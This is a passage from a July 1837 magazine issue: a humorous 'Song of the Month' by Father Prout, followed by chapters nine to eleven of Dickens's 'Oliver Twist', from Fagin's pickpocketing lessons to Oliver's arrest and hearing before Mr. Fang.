+
+
+SONG OF THE MONTH. No. VII.
+
+July, 1837.
+
+BEING A BAPTISMAL CHAUNT FOR THE BIRTH OF OUR SECOND VOLUME, AS SUNG
+(IN CHARACTER) BY FATHER PROUT.
+
+(Tune "_The groves of Blarney_.")
+
+"Ille ego qui quondam," &c. &c.--_Æneid._
+
+
+            I.
+
+    In the month of Janus,
+    When Boz to gain us,
+    Quite "miscellaneous,"
+      Flashed his wit so keen,
+    One, (Prout they call him,)
+    In style most solemn,
+    Led off the volume
+      Of his magazine.
+
+
+            II.
+
+    Though MAGA, 'mongst her
+    Bright set of youngsters,
+    Had many songsters
+      For her opening tome;
+    Yet she would rather
+    Invite "the Father,"
+    And an indulgence gather
+      From the Pope of Rome.
+
+
+            III.
+
+    And, such a beauty
+    From head to shoe-tie,
+    Without dispute we
+      Found her first boy,
+    That she det_a_rmined,
+    There's such a charm in 't,
+    The Father's _sarmint_
+      She'd again employ.
+
+
+            IV.
+
+    While other children
+    Are quite bewilderin',
+    'Tis joy that fill'd her in
+      This bantling; 'cause
+    What eye but glistens,
+    And what ear but listens,
+    When the clargy christens
+      A babe of Boz?
+
+
+            V.
+
+    I've got a scruple
+    That this young pupil
+    Surprised its parent
+      Ere her time was sped;
+    Else I'm unwary,
+    Or, 'tis she's a fairy,
+    For in January
+      She was brought to bed.
+
+
+            VI.
+
+    This infant may be
+    A six months' baby,
+    But may his cradle
+      Be blest! say I;
+    And luck defend him!
+    And joy attend him!
+    Since we can't mend him,
+      Born in July.
+
+
+            VII.
+
+    He's no abortion,
+    But born to fortune,
+    And most opportune,
+      Though before his time;
+    Him, Muse, O! nourish,
+    And make him flourish
+    Quite Tommy-Moorish
+      Both in prose and rhyme!
+
+
+            VIII.
+
+    I remember, also,
+    That this month they call so,
+    From Roman JULIUS
+      The "_Cæsarian_" styled;
+    Who was no gosling,
+    But, like this Boz-ling,
+    From birth a dazzling
+      And precocious child!
+
+GOD SAVE THE QUEEN!
+
+
+
+
+OLIVER TWIST;
+
+OR, THE PARISH BOY'S PROGRESS.
+
+BY BOZ.
+
+ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+CHAPTER THE NINTH.
+
+CONTAINING FURTHER PARTICULARS CONCERNING THE PLEASANT OLD GENTLEMAN,
+AND HIS HOPEFUL PUPILS.
+
+It was late next morning when Oliver awoke from a sound, long sleep.
+There was nobody in the room beside, but the old Jew, who was boiling
+some coffee in a saucepan for breakfast, and whistling softly to
+himself as he stirred it round and round with an iron spoon. He would
+stop every now and then to listen when there was the least noise below;
+and, when he had satisfied himself, he would go on whistling and
+stirring again, as before.
+
+Although Oliver had roused himself from sleep, he was not thoroughly
+awake. There is a drowsy, heavy state, between sleeping and waking,
+when you dream more in five minutes with your eyes half open, and
+yourself half conscious of everything that is passing around you, than
+you would in five nights with your eyes fast closed, and your senses
+wrapt in perfect unconsciousness. At such times, a mortal knows just
+enough of what his mind is doing to form some glimmering conception of
+its mighty powers, its bounding from earth and spurning time and space,
+when freed from the irksome restraint of its corporeal associate.
+
+Oliver was precisely in the condition I have described. He saw the Jew
+with his half-closed eyes, heard his low whistling, and recognised the
+sound of the spoon grating against the saucepan's sides; and yet the
+self-same senses were mentally engaged at the same time, in busy action
+with almost everybody he had ever known.
+
+When the coffee was done, the Jew drew the saucepan to the hob, and,
+standing in an irresolute attitude for a few minutes as if he did not
+well know how to employ himself, turned round and looked at Oliver, and
+called him by his name. He did not answer, and was to all appearance
+asleep.
+
+After satisfying himself upon this head, the Jew stepped gently to the
+door, which he fastened; he then drew forth, as it seemed to Oliver,
+from some trap in the floor, a small box, which he placed carefully
+on the table. His eyes glistened as he raised the lid and looked in.
+Dragging an old chair to the table, he sat down, and took from it a
+magnificent gold watch, sparkling with diamonds.
+
+[Illustration: Oliver amazed at the Dodger's Mode of 'going to work']
+
+"Aha!" said the Jew, shrugging up his shoulders, and distorting every
+feature with a hideous grin. "Clever dogs! clever dogs! Staunch to the
+last! Never told the old parson where they were; never peached upon old
+Fagin. And why should they? It wouldn't have loosened the knot, or kept
+the drop up a minute longer. No, no, no! Fine fellows! fine fellows!"
+
+With these, and other muttered reflections of the like nature, the
+Jew once more deposited the watch in its place of safety. At least
+half a dozen more were severally drawn forth from the same box, and
+surveyed with equal pleasure; besides rings, brooches, bracelets, and
+other articles of jewellery, of such magnificent materials and costly
+workmanship that Oliver had no idea even of their names.
+
+Having replaced these trinkets, the Jew took out another, so small
+that it lay in the palm of his hand. There seemed to be some very
+minute inscription on it, for the Jew laid it flat upon the table, and,
+shading it with his hand, pored over it long and earnestly. At length
+he set it down as if despairing of success, and, leaning back in his
+chair, muttered,
+
+"What a fine thing capital punishment is! Dead men never repent; dead
+men never bring awkward stories to light. The prospect of the gallows,
+too, makes them hardy and bold. Ah, it's a fine thing for the trade!
+Five of them strung up in a row, and none left to play booty or turn
+white-livered!"
+
+As the Jew uttered these words, his bright dark eyes which had been
+staring vacantly before him, fell on Oliver's face; the boy's eyes
+were fixed on his in mute curiosity, and, although the recognition was
+only for an instant--for the briefest space of time that can possibly
+be conceived,--it was enough to show the old man that he had been
+observed. He closed the lid of the box with a loud crash, and, laying
+his hand on a bread-knife which was on the table, started furiously up.
+He trembled very much though; for, even in his terror, Oliver could see
+that the knife quivered in the air.
+
+"What's that?" said the Jew. "What do you watch me for? Why are you
+awake? What have you seen? Speak out, boy! Quick--quick! for your life!"
+
+"I wasn't able to sleep any longer, sir," replied Oliver, meekly. "I am
+very sorry if I have disturbed you, sir."
+
+"You were not awake an hour ago?" said the Jew, scowling fiercely on
+the boy.
+
+"No--no, indeed, sir," replied Oliver.
+
+"Are you sure?" cried the Jew, with a still fiercer look than before,
+and a threatening attitude.
+
+"Upon my word I was not, sir," replied Oliver, earnestly. "I was not,
+indeed, sir."
+
+"Tush, tush, my dear!" said the Jew, suddenly resuming his old manner,
+and playing with the knife a little before he laid it down, as if to
+induce the belief that he had caught it up in mere sport. "Of course I
+know that, my dear. I only tried to frighten you. You're a brave boy.
+Ha! ha! you're a brave boy, Oliver!" and the Jew rubbed his hands with
+a chuckle, but looked uneasily at the box notwithstanding.
+
+"Did you see any of these pretty things, my dear?" said the Jew, laying
+his hand upon it after a short pause.
+
+"Yes, sir," replied Oliver.
+
+"Ah!" said the Jew, turning rather pale. "They--they're mine, Oliver;
+my little property. All I have to live upon in my old age. The folks
+call me a miser, my dear,--only a miser; that's all."
+
+Oliver thought the old gentleman must be a decided miser to live in
+such a dirty place, with so many watches; but, thinking that perhaps
+his fondness for the Dodger and the other boys cost him a good deal
+of money, he only cast a deferential look at the Jew, and asked if he
+might get up.
+
+"Certainly, my dear,--certainly," replied the old gentleman. "Stay.
+There's a pitcher of water in the corner by the door. Bring it here,
+and I'll give you a basin to wash in, my dear."
+
+Oliver got up, walked across the room, and stooped for one instant to
+raise the pitcher. When he turned his head, the box was gone.
+
+He had scarcely washed himself and made everything tidy by emptying
+the basin out of the window, agreeably to the Jew's directions, than
+the Dodger returned, accompanied by a very sprightly young friend whom
+Oliver had seen smoking on the previous night, and who was now formally
+introduced to him as Charley Bates. The four then sat down to breakfast
+off the coffee and some hot rolls and ham which the Dodger had brought
+home in the crown of his hat.
+
+"Well," said the Jew, glancing slyly at Oliver, and addressing himself
+to the Dodger, "I hope you've been at work this morning, my dears."
+
+"Hard," replied the Dodger.
+
+"As nails," added Charley Bates.
+
+"Good boys, good boys!" said the Jew. "What have _you_ got, Dodger?"
+
+"A couple of pocket-books," replied that young gentleman.
+
+"Lined?" inquired the Jew with trembling eagerness.
+
+"Pretty well," replied the Dodger, producing two pocket-books, one
+green and the other red.
+
+"Not so heavy as they might be," said the Jew, after looking at the
+insides carefully; "but very neat, and nicely made. Ingenious workman,
+ain't he, Oliver?"
+
+"Very, indeed, sir," said Oliver. At which Mr. Charles Bates laughed
+uproariously, very much to the amazement of Oliver, who saw nothing to
+laugh at, in anything that had passed.
+
+"And what have you got, my dear?" said Fagin to Charley Bates.
+
+"Wipes," replied Master Bates: at the same time producing four
+pocket-handkerchiefs.
+
+"Well," said the Jew, inspecting them closely; "they're very good
+ones,--very. You haven't marked them well, though, Charley; so the
+marks shall be picked out with a needle, and we'll teach Oliver how to
+do it. Shall us, Oliver, eh?--Ha! ha! ha!"
+
+"If you please, sir," said Oliver.
+
+"You'd like to be able to make pocket-handkerchiefs as easy as Charley
+Bates, wouldn't you, my dear?" said the Jew.
+
+"Very much indeed, if you'll teach me, sir," replied Oliver.
+
+Master Bates saw something so exquisitely ludicrous in this reply
+that he burst into another laugh; which laugh meeting the coffee he
+was drinking, and carrying it down some wrong channel, very nearly
+terminated in his premature suffocation.
+
+"He is so jolly green," said Charley when he recovered, as an apology
+to the company for his unpolite behaviour.
+
+The Dodger said nothing, but he smoothed Oliver's hair down over
+his eyes, and said he'd know better by-and-by; upon which the old
+gentleman, observing Oliver's colour mounting, changed the subject by
+asking whether there had been much of a crowd at the execution that
+morning. This made him wonder more and more, for it was plain from
+the replies of the two boys that they had both been there; and Oliver
+naturally wondered how they could possibly have found time to be so
+very industrious.
+
+When the breakfast was cleared away, the merry old gentleman and
+the two boys played at a very curious and uncommon game, which was
+performed in this way:--The merry old gentleman, placing a snuff-box in
+one pocket of his trousers, a note-case in the other, and a watch in
+his waistcoat-pocket, with a guard-chain round his neck, and sticking
+a mock diamond pin in his shirt, buttoned his coat tight round him,
+and, putting his spectacle-case and handkerchief in the pockets,
+trotted up and down the room with a stick, in imitation of the manner
+in which old gentlemen walk about the streets every hour in the day.
+Sometimes he stopped at the fire-place, and sometimes at the door,
+making belief that he was staring with all his might into shop-windows.
+At such times he would look constantly round him for fear of thieves,
+and keep slapping all his pockets in turn, to see that he hadn't lost
+anything, in such a very funny and natural manner, that Oliver laughed
+till the tears ran down his face. All this time the two boys followed
+him closely about, getting out of his sight so nimbly every time he
+turned round, that it was impossible to follow their motions. At last
+the Dodger trod upon his toes, or ran upon his boot accidentally, while
+Charley Bates stumbled up against him behind; and in that one moment
+they took from him with the most extraordinary rapidity, snuff-box,
+note-case, watch-guard, chain, shirt-pin, pocket-handkerchief,--even
+the spectacle-case. If the old gentleman felt a hand in any one of his
+pockets, he cried out where it was, and then the game began all over
+again.
+
+When this game had been played a great many times, a couple of young
+ladies came to see the young gentlemen, one of whom was called Bet and
+the other Nancy. They wore a good deal of hair, not very neatly turned
+up behind, and were rather untidy about the shoes and stockings. They
+were not exactly pretty, perhaps; but they had a great deal of colour
+in their faces, and looked quite stout and hearty. Being remarkably
+free and agreeable in their manners, Oliver thought them very nice
+girls indeed, as there is no doubt they were.
+
+These visitors stopped a long time. Spirits were produced, in
+consequence of one of the young ladies complaining of a coldness in her
+inside, and the conversation took a very convivial and improving turn.
+At length Charley Bates expressed his opinion that it was time to pad
+the hoof, which it occurred to Oliver must be French for going out; for
+directly afterwards the Dodger, and Charley, and the two young ladies
+went away together, having been kindly furnished with money to spend,
+by the amiable old Jew.
+
+"There, my dear," said Fagin, "that's a pleasant life, isn't it? They
+have gone out for the day."
+
+"Have they done work, sir?" inquired Oliver.
+
+"Yes," said the Jew; "that is, unless they should unexpectedly come
+across any when they are out; and they won't neglect it if they do, my
+dear, depend upon it."
+
+"Make 'em your models, my dear, make 'em your models," said the Jew,
+tapping the fire-shovel on the hearth to add force to his words;
+"do everything they bid you, and take their advice in all matters,
+especially the Dodger's, my dear. He'll be a great man himself, and
+make you one too, if you take pattern by him. Is my handkerchief
+hanging out of my pocket, my dear?" said the Jew, stopping short.
+
+"Yes, sir," said Oliver.
+
+"See if you can take it out, without my feeling it, as you saw them do
+when we were at play this morning."
+
+Oliver held up the bottom of the pocket with one hand as he had seen
+the Dodger do, and drew the handkerchief lightly out of it with the
+other.
+
+"Is it gone?" cried the Jew.
+
+"Here it is, sir," said Oliver, showing it in his hand.
+
+"You're a clever boy, my dear," said the playful old gentleman, patting
+Oliver on the head approvingly; "I never saw a sharper lad. Here's a
+shilling for you. If you go on in this way, you'll be the greatest man
+of the time. And now come here, and I'll show you how to take the marks
+out of the handkerchiefs."
+
+Oliver wondered what picking the old gentleman's pocket in play had to
+do with his chances of being a great man; but thinking that the Jew,
+being so much his senior, must know best, followed him quietly to the
+table, and was soon deeply involved in his new study.
+
+
+
+
+CHAPTER THE TENTH.
+
+OLIVER BECOMES BETTER ACQUAINTED WITH THE CHARACTERS OF HIS NEW
+ASSOCIATES, AND PURCHASES EXPERIENCE AT A HIGH PRICE. BEING A SHORT BUT
+VERY IMPORTANT CHAPTER IN THIS HISTORY.
+
+
+For eight or ten days Oliver remained in the Jew's room, picking the
+marks out of the pocket-handkerchiefs, (of which a great number were
+brought home,) and sometimes taking part in the game already described,
+which the two boys and the Jew played regularly every day. At length
+he began to languish for the fresh air, and took many occasions of
+earnestly entreating the old gentleman to allow him to go out to work
+with his two companions.
+
+Oliver was rendered the more anxious to be actively employed by what
+he had seen of the stern morality of the old gentleman's character.
+Whenever the Dodger or Charley Bates came home at night empty-handed,
+he would expatiate with great vehemence on the misery of idle and
+lazy habits, and enforce upon them the necessity of an active life by
+sending them supperless to bed: upon one occasion he even went so far
+as to knock them both down a flight of stairs; but this was carrying
+out his virtuous precepts to an unusual extent.
+
+At length one morning Oliver obtained the permission he had so eagerly
+sought. There had been no handkerchiefs to work upon, for two or three
+days, and the dinners had been rather meagre. Perhaps these were
+reasons for the old gentleman's giving his assent; but, whether they
+were or no, he told Oliver he might go, and placed him under the joint
+guardianship of Charley Bates and his friend the Dodger.
+
+The three boys sallied out, the Dodger with his coat-sleeves tucked up
+and his hat cocked as usual, Master Bates sauntering along with his
+hands in his pockets, and Oliver between them, wondering where they
+were going, and what branch of manufacture he would be instructed in
+first.
+
+The pace at which they went was such a very lazy, ill-looking saunter,
+that Oliver soon began to think his companions were going to deceive
+the old gentleman, by not going to work at all. The Dodger had a
+vicious propensity, too, of pulling the caps from the heads of small
+boys and tossing them down areas; while Charley Bates exhibited some
+very loose notions concerning the rights of property, by pilfering
+divers apples and onions from the stalls at the kennel sides, and
+thrusting them into pockets which were so surprisingly capacious, that
+they seemed to undermine his whole suit of clothes in every direction.
+These things looked so bad, that Oliver was on the point of declaring
+his intention of seeking his way back in the best way he could, when
+his thoughts were suddenly directed into another channel by a very
+mysterious change of behaviour on the part of the Dodger.
+
+They were just emerging from a narrow court not far from the open
+square in Clerkenwell, which is called, by some strange perversion of
+terms, "The Green," when the Dodger made a sudden stop, and, laying his
+finger on his lip, drew his companions back again with the greatest
+caution and circumspection.
+
+"What's the matter?" demanded Oliver.
+
+"Hush!" replied the Dodger. "Do you see that old cove at the
+book-stall?"
+
+"The old gentleman over the way?" said Oliver. "Yes, I see him."
+
+"He'll do," said the Dodger.
+
+"A prime plant," observed Charley Bates.
+
+Oliver looked from one to the other with the greatest surprise, but was
+not permitted to make any inquiries, for the two boys walked stealthily
+across the road, and slunk close behind the old gentleman towards whom
+his attention had been directed. Oliver walked a few paces after them,
+and, not knowing whether to advance or retire, stood looking on in
+silent amazement.
+
+The old gentleman was a very respectable-looking personage, with a
+powdered head and gold spectacles; dressed in a bottle-green coat with
+a black velvet collar, and white trousers: with a smart bamboo cane
+under his arm. He had taken up a book from the stall, and there he
+stood, reading away as hard as if he were in his elbow-chair in his
+own study. It was very possible that he fancied himself there, indeed;
+for it was plain, from his utter abstraction, that he saw not the
+book-stall, nor the street, nor the boys, nor, in short, anything but
+the book itself, which he was reading straight through, turning over
+the leaves when he got to the bottom of a page, beginning at the top
+line of the next one, and going regularly on with the greatest interest
+and eagerness.
+
+What was Oliver's horror and alarm as he stood a few paces off, looking
+on with his eye-lids as wide open as they would possibly go, to see the
+Dodger plunge his hand into this old gentleman's pocket, and draw from
+thence a handkerchief, which he handed to Charley Bates, and with which
+they both ran away round the corner at full speed!
+
+In one instant the whole mystery of the handkerchiefs, and the watches,
+and the jewels, and the Jew, rushed upon the boy's mind. He stood for
+a moment with the blood tingling so through all his veins from terror,
+that he felt as if he were in a burning fire; then, confused and
+frightened, he took to his heels, and, not knowing what he did, made
+off as fast as he could lay his feet to the ground.
+
+This was all done in a minute's space, and the very instant that Oliver
+began to run, the old gentleman, putting his hand to his pocket, and
+missing his handkerchief, turned sharp round. Seeing the boy scudding
+away at such a rapid pace, he very naturally concluded him to be the
+depredator, and, shouting "Stop thief!" with all his might, made off
+after him, book in hand.
+
+But the old gentleman was not the only person who raised the hue and
+cry. The Dodger and Master Bates, unwilling to attract public attention
+by running down the open street, had merely retired into the very first
+doorway round the corner. They no sooner heard the cry, and saw Oliver
+running, than, guessing exactly how the matter stood, they issued forth
+with great promptitude, and, shouting "Stop thief!" too, joined in the
+pursuit like good citizens.
+
+Although Oliver had been brought up by philosophers, he was
+not theoretically acquainted with their beautiful axiom that
+self-preservation is the first law of nature. If he had been, perhaps
+he would have been prepared for this. Not being prepared, however,
+it alarmed him the more; so away he went like the wind, with the old
+gentlemen and the two boys roaring and shouting behind him.
+
+"Stop thief! stop thief!" There is a magic in the sound. The
+tradesman leaves his counter, and the carman his waggon; the butcher
+throws down his tray, the baker his basket, the milkman his pail,
+the errand-boy his parcels, the schoolboy his marbles, the paviour
+his pick-axe, the child his battledore: away they run, pell-mell,
+helter-skelter, slap-dash, tearing, yelling, and screaming, knocking
+down the passengers as they turn the corners, rousing up the dogs, and
+astonishing the fowls; and streets, squares, and courts re-echo with
+the sound.
+
+"Stop thief! stop thief!" The cry is taken up by a hundred voices, and
+the crowd accumulate at every turning. Away they fly, splashing through
+the mud, and rattling along the pavements; up go the windows, out run
+the people, onward bear the mob: a whole audience desert Punch in the
+very thickest of the plot, and, joining the rushing throng, swell the
+shout, and lend fresh vigour to the cry, "Stop thief! stop thief!"
+
+"Stop thief! stop thief!" There is a passion _for hunting something_
+deeply implanted in the human breast. One wretched, breathless child,
+panting with exhaustion, terror in his looks, agony in his eye, large
+drops of perspiration streaming down his face, strains every nerve to
+make head upon his pursuers; and as they follow on his track, and gain
+upon him every instant, they hail his decreasing strength with still
+louder shouts, and whoop and scream with joy "Stop thief!"--Ay, stop
+him for God's sake, were it only in mercy!
+
+Stopped at last. A clever blow that. He's down upon the pavement,
+and the crowd eagerly gather round him; each new comer jostling and
+struggling with the others to catch a glimpse. "Stand aside!"--"Give
+him a little air!"--"Nonsense! he don't deserve it."--"Where's the
+gentleman?"--"Here he is, coming down the street."--"Make room there
+for the gentleman!"--"Is this the boy, sir?"--"Yes."
+
+Oliver lay covered with mud and dust, and bleeding from the mouth,
+looking wildly round upon the heap of faces that surrounded him, when
+the old gentleman was officiously dragged and pushed into the circle
+by the foremost of the pursuers, and made this reply to their anxious
+inquiries.
+
+"Yes," said the gentleman in a benevolent voice, "I am afraid it is."
+
+"Afraid!" murmured the crowd. "That's a good un."
+
+"Poor fellow!" said the gentleman, "he has hurt himself."
+
+"I did that, sir," said a great lubberly fellow stepping forward; "and
+preciously I cut my knuckle agin' his mouth. _I_ stopped him, sir."
+
+The fellow touched his hat with a grin, expecting something for
+his pains; but the old gentleman, eyeing him with an expression of
+disgust, looked anxiously round, as if he contemplated running away
+himself; which it is very possible he might have attempted to do, and
+thus afforded another chase, had not a police officer (who is always
+the last person to arrive in such cases) at that moment made his way
+through the crowd, and seized Oliver by the collar. "Come, get up,"
+said the man roughly.
+
+"It wasn't me indeed, sir. Indeed, indeed, it was two other boys," said
+Oliver, clasping his hands passionately, and looking round: "they are
+here somewhere."
+
+"Oh no, they ain't," said the officer. He meant this to be ironical;
+but it was true besides, for the Dodger and Charley Bates had filed off
+down the first convenient court they came to. "Come, get up."
+
+"Don't hurt him," said the old gentleman compassionately.
+
+"Oh no, I won't hurt him," replied the officer, tearing his jacket half
+off his back in proof thereof. "Come, I know you; it won't do. Will you
+stand upon your legs, you young devil?"
+
+Oliver, who could hardly stand, made a shift to raise himself upon his
+feet, and was at once lugged along the streets by the jacket-collar at
+a rapid pace. The gentleman walked on with them by the officer's side;
+and as many of the crowd as could, got a little a-head, and stared back
+at Oliver from time to time. The boys shouted in triumph, and on they
+went.
+
+
+
+
+CHAPTER THE ELEVENTH
+
+     TREATS OF MR. FANG THE POLICE MAGISTRATE, AND FURNISHES A SLIGHT
+     SPECIMEN OF HIS MODE OF ADMINISTERING JUSTICE.
+
+The offence had been committed within the district, and indeed in the
+immediate neighbourhood of a very notorious metropolitan police-office.
+The crowd had only the satisfaction of accompanying Oliver through two
+or three streets, and down a place called Mutton-hill, when he was led
+beneath a low archway and up a dirty court into this dispensary of
+summary justice, by the back way. It was a small paved yard into which
+they turned; and here they encountered a stout man with a bunch of
+whiskers on his face, and a bunch of keys in his hand.
+
+"What's the matter now?" said the man carelessly.
+
+"A young fogle-hunter," replied the man who had Oliver in charge.
+
+"Are you the party that's been robbed, sir?" inquired the man with the
+keys.
+
+"Yes, I am," replied the old gentleman; "but I am not sure that this
+boy actually took the handkerchief. I--I'd rather not press the case."
+
+"Must go before the magistrate now, sir," replied the man. "His worship
+will be disengaged in half a minute. Now, young gallows."
+
+This was an invitation for Oliver to enter through a door which he
+unlocked as he spoke, and which led into a small stone cell. Here he
+was searched, and, nothing been found upon him, locked up.
+
+This cell was in shape and size something like an area cellar, only not
+so light. It was most intolerably dirty, for it was Monday morning, and
+it had been tenanted since Saturday night by six drunken people. But
+this is nothing. In our station-houses, men and women are every night
+confined on the most trivial _charges_--the word is worth noting--in
+dungeons, compared with which, those in Newgate, occupied by the most
+atrocious felons, tried, found guilty, and under sentence of death, are
+palaces! Let any man who doubts this, compare the two.
+
+The old gentleman looked almost as rueful as Oliver when the key grated
+in the lock; and turned with a sigh to the book which had been the
+innocent cause of all this disturbance.
+
+"There is something in that boy's face," said the old gentleman to
+himself as he walked slowly away, tapping his chin with the cover of
+the book in a thoughtful manner, "something that touches and interests
+me. _Can_ he be innocent? He looked like--By the bye," exclaimed the
+old gentleman, halting very abruptly, and staring up into the sky, "God
+bless my soul! where have I seen something like that look before?"
+
+After musing for some minutes, the old gentleman walked with the same
+meditative face into a back ante-room opening from the yard; and
+there, retiring into a corner, called up before his mind's eye a vast
+amphitheatre of faces over which a dusky curtain had hung for many
+years. "No," said the old gentleman, shaking his head; "it must be
+imagination."
+
+He wandered over them again. He had called them into view, and it was
+not easy to replace the shroud that had so long concealed them. There
+were the faces of friends and foes, and of many that had been almost
+strangers, peering intrusively from the crowd; there were the faces of
+young and blooming girls that were now old women; there were others
+that the grave had changed to ghastly trophies of death, but which the
+mind, superior to his power, still dressed in their old freshness and
+beauty, calling back the lustre of the eyes, the brightness of the
+smile, the beaming of the soul through its mask of clay, and whispering
+of beauty beyond the tomb, changed but to be heightened, and taken from
+earth only to be set up as a light to shed a soft and gentle glow upon
+the path to Heaven.
+
+But the old gentleman could recall no one countenance of which Oliver's
+features bore a trace; so he heaved a sigh over the recollections he
+had awakened; and being, happily for himself, an absent old gentleman,
+buried them again in the pages of the musty book.
+
+He was roused by a touch on the shoulder, and a request from the
+man with the keys to follow him into the office. He closed his book
+hastily, and was at once ushered into the imposing presence of the
+renowned Mr. Fang.
+
+The office was a front parlour, with a panneled wall. Mr. Fang sat
+behind a bar at the upper end; and on one side the door was a sort of
+wooden pen in which poor little Oliver was already deposited, trembling
+very much at the awfulness of the scene.
+
+Mr. Fang was a middle-sized man, with no great quantity of hair; and
+what he had, growing on the back and sides of his head. His face was
+stern, and much flushed. If he were really not in the habit of drinking
+rather more than was exactly good for him, he might have brought an
+action against his countenance for libel, and have recovered heavy
+damages.
+
+The old gentleman bowed respectfully, and, advancing to the
+magistrate's desk, said, suiting the action to the word, "That is my
+name and address, sir." He then withdrew a pace or two; and, with
+another polite and gentlemanly inclination of the head, waited to be
+questioned.
+
+Now, it so happened that Mr. Fang was at that moment perusing a leading
+article in a newspaper of the morning, adverting to some recent
+decision of his, and commending him, for the three hundred and fiftieth
+time, to the special and particular notice of the Secretary of State
+for the Home Department. He was out of temper, and he looked up with an
+angry scowl.
+
+"Who are you?" said Mr. Fang.
+
+The old gentleman pointed with some surprise to his card.
+
+"Officer!" said Mr. Fang, tossing the card contemptuously away with the
+newspaper, "who is this fellow?"
+
+"My name, sir," said the old gentleman, speaking _like_ a gentleman,
+and consequently in strong contrast to Mr. Fang,--"my name, sir, is
+Brownlow. Permit me to inquire the name of the magistrate who offers
+a gratuitous and unprovoked insult to a respectable man, under the
+protection of the bench." Saying this, Mr. Brownlow looked round the
+office as if in search of some person who would afford him the required
+information.
+
+"Officer!" said Mr. Fang, throwing the paper on one side, "what's this
+fellow charged with?"
+
+"He's not charged at all, your worship," replied the officer. "He
+appears against the boy, your worship."
+
+His worship knew this perfectly well; but it was a good annoyance, and
+a safe one.
+
+"Appears against the boy, does he?" said Fang, surveying Mr. Brownlow
+contemptuously from head to foot. "Swear him."
+
+"Before I am sworn I must beg to say one word," said Mr. Brownlow;
+"and that is, that I never, without actual experience, could have
+believed----"
+
+"Hold your tongue, sir!" said Mr. Fang peremptorily.
+
+"I will not, sir!" replied the spirited old gentleman.
+
+"Hold your tongue this instant, or I'll have you turned out of the
+office!" said Mr. Fang. "You're an insolent impertinent fellow. How
+dare you bully a magistrate!"
+
+"What!" exclaimed the old gentleman, reddening.
+
+"Swear this person!" said Fang to the clerk. "I'll not hear another
+word. Swear him!"
+
+Mr. Brownlow's indignation was greatly roused; but, reflecting that
+he might only injure the boy by giving vent to it, he suppressed his
+feelings, and submitted to be sworn at once.
+
+"Now," said Fang, "what's the charge against this boy? What have you
+got to say, sir?"
+
+"I was standing at a book-stall--" Mr. Brownlow began.
+
+"Hold your tongue, sir!" said Mr. Fang. "Policeman!--where's the
+policeman? Here, swear this man. Now, policeman, what is this?"
+
+The policeman with becoming humility related how he had taken the
+charge, how he had searched Oliver and found nothing on his person; and
+how that was all he knew about it.
+
+"Are there any witnesses?" inquired Mr. Fang.
+
+"None, your worship," replied the policeman.
+
+Mr. Fang sat silent for some minutes, and then, turning round to the
+prosecutor, said, in a towering passion,
+
+"Do you mean to state what your complaint against this boy is, fellow,
+or do you not? You have been sworn. Now, if you stand there, refusing
+to give evidence, I'll punish you for disrespect to the bench; I will,
+by ----"
+
+By what, or by whom, nobody knows, for the clerk and jailer coughed
+very loud just at the right moment, and the former dropped a heavy book
+on the floor; thus preventing the word from being heard--accidentally,
+of course.
+
+With many interruptions, and repeated insults, Mr. Brownlow contrived
+to state his case; observing that, in the surprise of the moment, he
+had run after the boy because he saw him running away, and expressing
+his hope that, if the magistrate should believe him, although not
+actually the thief, to be connected with thieves, he would deal as
+leniently with him as justice would allow.
+
+"He has been hurt already," said the old gentleman in conclusion. "And
+I fear," he added, with great energy, looking towards the bar,--"I
+really fear that he is very ill."
+
+"Oh! yes; I dare say!" said Mr. Fang, with a sneer. "Come; none of your
+tricks here, you young vagabond; they won't do. What's your name?"
+
+Oliver tried to reply, but his tongue failed him. He was deadly pale,
+and the whole place seemed turning round and round.
+
+"What's your name, you hardened scoundrel?" thundered Mr. Fang.
+"Officer, what's his name?"
+
+This was addressed to a bluff old fellow in a striped waistcoat, who
+was standing by the bar. He bent over Oliver, and repeated the inquiry;
+but finding him really incapable of understanding the question, and
+knowing that his not replying would only infuriate the magistrate the
+more, and add to the severity of his sentence, he hazarded a guess.
+
+"He says his name's Tom White, your worship," said this kind-hearted
+thief-taker.
+
+"Oh, he won't speak out, won't he?" said Fang. "Very well, very well.
+Where does he live?"
+
+"Where he can, your worship," replied the officer, again pretending to
+receive Oliver's answer.
+
+"Has he any parents?" inquired Mr. Fang.
+
+"He says they died in his infancy, your worship," replied the officer,
+hazarding the usual reply.
+
+At this point of the inquiry Oliver raised his head, and, looking round
+with imploring eyes, murmured a feeble prayer for a draught of water.
+
+"Stuff and nonsense!" said Mr. Fang; "don't try to make a fool of me."
+
+"I think he really is ill, your worship," remonstrated the officer.
+
+"I know better," said Mr. Fang.
+
+"Take care of him, officer," said the old gentleman, raising his hands
+instinctively; "he'll fall down."
+
+"Stand away, officer," cried Fang savagely; "let him if he likes."
+
+Oliver availed himself of the kind permission, and fell heavily to the
+floor in a fainting fit. The men in the office looked at each other,
+but no one dared to stir.
+
+"I knew he was shamming," said Fang, as if this were incontestable
+proof of the fact. "Let him lie; he'll soon be tired of that."
+
+"How do you propose to deal with the case, sir?" inquired the clerk in
+a low voice.
+
+"Summarily," replied Mr. Fang. "He stands committed for three
+months,--hard labour of course. Clear the office."
+
+The door was opened for this purpose, and a couple of men were
+preparing to carry the insensible boy to his cell, when an elderly man
+of decent but poor appearance, clad in an old suit of black, rushed
+hastily into the office, and advanced to the bench.
+
+"Stop, stop,--don't take him away,--for Heaven's sake stop a moment,"
+cried the new-comer, breathless with haste.
+
+Although the presiding geniuses in such an office as this, exercise
+a summary and arbitrary power over the liberties, the good name, the
+character, almost the lives of his Majesty's subjects, especially of
+the poorer class, and although within such walls enough fantastic
+tricks are daily played to make the angels weep thick tears of blood,
+they are closed to the public, save through the medium of the daily
+press. Mr. Fang was consequently not a little indignant to see an
+unbidden guest enter in such irreverent disorder.
+
+"What is this? Who is this? Turn this man out. Clear the office," cried
+Mr. Fang.
+
+"I will speak," cried the man; "I will not be turned out,--I saw it
+all. I keep the book-stall. I demand to be sworn. I will not be put
+down. Mr. Fang, you must hear me. You dare not refuse, sir."
+
+The man was right. His manner was bold and determined, and the matter
+was growing rather too serious to be hushed up.
+
+"Swear the fellow," growled Fang with a very ill grace. "Now, man, what
+have you got to say?"
+
+"This," said the man: "I saw three boys--two others and the prisoner
+here--loitering on the opposite side of the way, when this gentleman
+was reading. The robbery was committed by another boy. I saw it done,
+and I saw that this boy was perfectly amazed and stupified by it."
+Having by this time recovered a little breath, the worthy book-stall
+keeper proceeded to relate in a more coherent manner the exact
+circumstances of the robbery.
+
+"Why didn't you come here before?" said Fang after a pause.
+
